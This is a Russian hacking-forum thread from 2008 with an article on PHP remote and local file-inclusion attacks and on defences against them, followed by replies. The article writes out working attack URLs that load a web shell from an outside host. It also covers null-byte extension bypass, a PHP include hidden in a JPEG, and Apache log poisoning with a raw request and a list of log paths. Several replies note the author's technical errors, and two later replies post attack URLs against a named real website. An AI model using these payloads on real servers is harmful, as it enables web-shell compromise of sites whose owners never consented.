ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

PHP-include и способы защиты
  #1  
Старый 14.11.2008, 18:25
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами: 10313606

Репутация: 1327
По умолчанию PHP-include и способы защиты

Введение


Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью!




Глобальный инклуд


Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On
Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
В PHP существуют четыре функции для включения файлов в сценарии PHP:

* include();
* include_once();
* require();
* require_once().


Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
PHP код:
<?php
    
if($_GET['page'].'.php')
    {
         include(
$_GET['page'].'.php');
    }
    else
    {
         include(
$file.'.php');
    }
?>
С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

Код:
http://site.ru/index.php?page=http://hack.ru/shell
В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
была определенна раннее и злоумышленник может выполнить удаленно php код:

Код:
http://site.ru/index.php?file=http://hack.ru/shell
Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу,
она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет -
происходит стандартное включение файла.
PHP код:
<?php
    
include_once($file.'.gif');
?>
В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
Избавиться от расширения '.gif' можно двумя способами:
1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) даже если magic_quotes_gpc = On
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php?

Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в
сценарий независимо от местонахождения require() в сценарии.
PHP код:
<?php
    
require($file);
?>
Атака аналогична, но в этом случае расширение не приписывается:
Код:
http://site.ru/index.php?page=http://hack.ru/shell.php

Функция require_once() загружает файл в сценарий всего один раз.
PHP код:
<?php
    
require_once($file.'.php');
?>
Атака аналогична...




Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

PHP код:
<?php
    $f
=fopen("$file.php","r");
    
    while (!
feof($f))
    {
        
$s=fgets($f,255);
        echo 
$s;
    }
    
    
fclose($f);
?>
Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

Код:
http://site.ru/index.php?file=http://hack.ru/shell
В итоге опять получаем веб-шелл.



Следующий пример - использование функции readfile()

PHP код:
<?php
    readfile
($file); 
?>
Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:

Код:
http://site.ru/index.php?file=http://hack.ru/shell

Теперь рассмотрим такой вариант:

PHP код:
<?php  
    
echo implode("", file($file));
?>
С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php


Защита от глобальный инклудов

Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

PHP код:
<?php

    
global $page;

    switch (
$page) 
    {
        case 
'':
        include (
"pages/main.php");
        break;
    
        case 
'index':
        include (
"pages/main.php");
        break;

        case 
'page1':
        include (
"pages/folder/page1.php");
        break;

        case 
'page2':
        include (
"pages/folder/page2.php");
        break;
    
        default:
        include (
"pages/hack.php");
        break;
    }

?>
Так же рекомендую отредактировать файл php.ini:

Цитата:
allow_url_include = Off //запрещаем удаленно инклудить файлы
allow_url_fopen = Off //запрещаем fopen открывать ссылки
register_globals = Off //отключим инициализацию глобальных переменных
safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным)


Локальный инклуд

Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:

PHP код:
<?php
    
include("include/$file"); 
?>
Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
Что же можно сделать?

Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:

Цитата:
яШяа JFIF  ` ` яЫ C  

 $.' ",#(7),01444'9=82<.342яЫ C 

2!!222222222222222222222222222222222222222222222 22222яА  6 6" яД   
яД µ  } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ѓ„…†‡?‰Љ’“”•–—˜™љўЈ¤ Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКÐ ¢УФХЦЧШЩЪбвгдежзийкстуфхцÑ ‡шщъяД   
яД µ  w !1AQaq"2ЃB‘Ў±Б #3RрbrС
$4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstu vwxyz‚ѓ„…†‡?‰Љ’“”•–—˜™ љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖÐ —ИЙКТУФХЦЧШЩЪвгдежзийктуфÑ …цчшщъяЪ   ? чъ(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ?яЩ
<?php include("http://hack.ru/shell.php"); ?>
Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка
Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
загружает код из одного файла в исполняемый файл. Вот пример:

Код:
http://www.site.com/index.php?include=../forum/images/shell.jpg
В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>



Логи апатча

Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:

Цитата:
/logs/error.log
/logs/access.log
/logs/error_log
/logs/access_log

/var/log/error_log
/var/log/access_log
/var/log/error.log
/var/log/access.log

/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log

/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log

/var/log/httpd/error.log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/access_log

/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error_log
/apache/logs/access_log

/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log

/home/www/logs/error_log
/home/www/logs/error.log
/home/www/logs/access_log
/home/www/logs/access.log
Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:
GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Заголовок пакета записывается в логи апатча, расположенные по адресу:
Код:
Z:\usr\local\apache\logs\access.log
Тоесть в этот файлик записывается вот такая строчка:

Цитата:
127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
Думаю суть понятна. Нам остается его проинклудить:

Код:
http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
И получить веб-шелл




Защита от локальных инклудов


Вот небольшой примерчик, как можно надежно защититься:
PHP код:
<?php


    
function stripslashes_for_array(&$array) 
    {
        
reset($array);    
        while (list(
$key, $val) = each($array)) 
        {
            if (
is_string($val)) $array[$key] = stripslashes($val);
            elseif (
is_array($val)) $array[$key] = stripslashes_for_array($val); 
        }
    return 
$array;
    }  

    if (!
get_magic_quotes_gpc())
    {
            
stripslashes_for_array($_POST);
            
stripslashes_for_array($_GET);
    }

    if(isset(
$_GET['file']))$file=$_GET['file']; 
    else 
    { 
        if(isset(
$_POST['file']))$file=$_POST['file']; 
        else 
$file=''; 
    } 

    
$file=str_replace('/','',$file); 
    
$file=str_replace('.','',$file); 
    if(!
file_exists("include".'/'.$file.'.php')||$file=='index') 
    {
        
$file='news';
    }
    
    include(
"include".'/'.$file.'.php');
    
?>
И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.

***************************************

PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание

Последний раз редактировалось _Pantera_; 16.11.2008 в 22:38..
 

  #2  
Старый 14.11.2008, 18:55
nerezus
Флудер
Регистрация: 12.08.2004
Сообщений: 3,793
С нами: 11444066

Репутация: 2290


По умолчанию

Гораздо проще выучить ООП. Нужда в подобных конструкциях отпадет.
 

  #3  
Старый 14.11.2008, 19:02
Zinus
Banned
Регистрация: 08.08.2008
Сообщений: 31
С нами: 9345986

Репутация: 32
По умолчанию

TRUE PHP-injection - Вот эта статья мне нравится больше. Да и не пойму зачем писать по 100 раз об одном и том же..тема разжевана уже дальше некуда. Короче всё боян от начала до конца
 

  #4  
Старый 14.11.2008, 19:47
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами: 10109126

Репутация: 1980
По умолчанию

Цитата:
Функция include() вставляет php-код из одного файла, в файл на котором вызывается эта функция.
мягко говоря некорректное определение функции
Цитата:
Глобальный инклуд
принято называть удаленный инклуд (remote include)
Цитата:
Из за того,
что переменная page не была определена раннее, злоумышленник может провести атаку:
В твоем коде переменной page вообще нет, есть элемент массива $_GET['page'], который ранее никак не мог быть инициализирован
Цитата:
Переменная $file не
была определенна раннее и злоумышленик может выполнить удаленно php код:
а если register_globals=off ?
Цитата:
Для того что б его срезать используют
называемый в народе "ядовитый ноль" - %00, в php он обозначает окончание строки:
нуллбайт означает конец строки в C,C++ - но уж точно не в php
Цитата:
Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0
а если повнимательней?
 

  #5  
Старый 14.11.2008, 20:16
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Муххахах:

Код:
http://site.ru/index.php?file=http://hack.ru/shell.php%00
И накой ***? если это возможно только при мейджик квотс = офф?

А вот так можно и при мейджик квотс = он:

Код:
http://site.ru/index.php?file=http://hack.ru/shell.php?
Не похек. Статьи должны писаться при полном понимание того, о чем пишешь, а не абы как. Меня вот сомнения терзают что ты практиковался с инклудами.

Код:
Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0
Жесть! ты хоть книгу по php открывал?

Последний раз редактировалось Grey; 14.11.2008 в 20:22..
 

  #6  
Старый 14.11.2008, 20:39
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами: 10109126

Репутация: 1980
По умолчанию

Цитата:
К примеру ereg останавливается на нуллбайте. + PHP писался на C. => много всего из си перешло в php, включая синтаксис
ты хочешь сказать, что в PHP нужно указывать в конце каждой строки нуллбайт, как это делается в С?
http://ru.wikipedia.org/wiki/Нуль-терминированная_строка
 

  #7  
Старый 14.11.2008, 21:13
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами: 10109126

Репутация: 1980
По умолчанию

я не сомневаюсь, что так будет работать, но зачем называть переменную $GET_[cmd]? Тем более, что ее назначить нельзя будет, т.е если просто написать
GET /index.php/<?php system(dir); ?> HTTP/1.0
результат тот же будет

<?php system($_GET[cmd]) ?> неужели так сложно?

Последний раз редактировалось [Raz0r]; 14.11.2008 в 21:23..
 

  #8  
Старый 14.11.2008, 23:32
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Цитата:
Сообщение от _Pantera_  
Не в этом дело! можно конечно просто <?php system($_GET[cmd]; ?> Я написал system($GET_[cmd]=dir); оно идентично system(dir); Но ребята, все что вы написали - это такие мелочи!
Мда(с)

Судя по этому посту автор просто не понимает, что вы ему пытаетесь объяснить. Он просто "не в теме"

Мне например очень "понравилось" про шелл в картинке. Заливаем мы значит туда этот код : <?php @system($GET_[cmd] = "ls -la"); ?>,
Цитата:
Сообщение от _Pantera_  
В результате, в файле index.php выполняется код <?php @system($GET_[cmd] = "ls -la"); ?>
так, и что-же мы будем делать дальше? Я так полагаю будем лить ещё одну картинку?
 

  #9  
Старый 15.11.2008, 01:23
vladim1
Новичок
Регистрация: 12.11.2008
Сообщений: 12
С нами: 9207667

Репутация: -1
По умолчанию

Цитата:
Теперь расмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.
http://autismcorner.com/Verhaal.php?dir=.&file=../Verhaal.php

А в током случае есть решение ???
 

  #10  
Старый 15.11.2008, 06:30
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
С нами: 9752260

Репутация: 150
По умолчанию

2 Vadim1
_http://autismcorner.com/Verhaal.php?dir=http://SleepSleepSleep.narod.ru&language=nl&file=1.php там просто чтение файла
локальные файлы читать наврятли получится так как там папка /nl/ перед именем файла идёт, задается она переменной language но менять ее можно только на en,nl
 
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41
Что такое Php? PAPA212 Болталка 13 28.12.2007 20:44



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.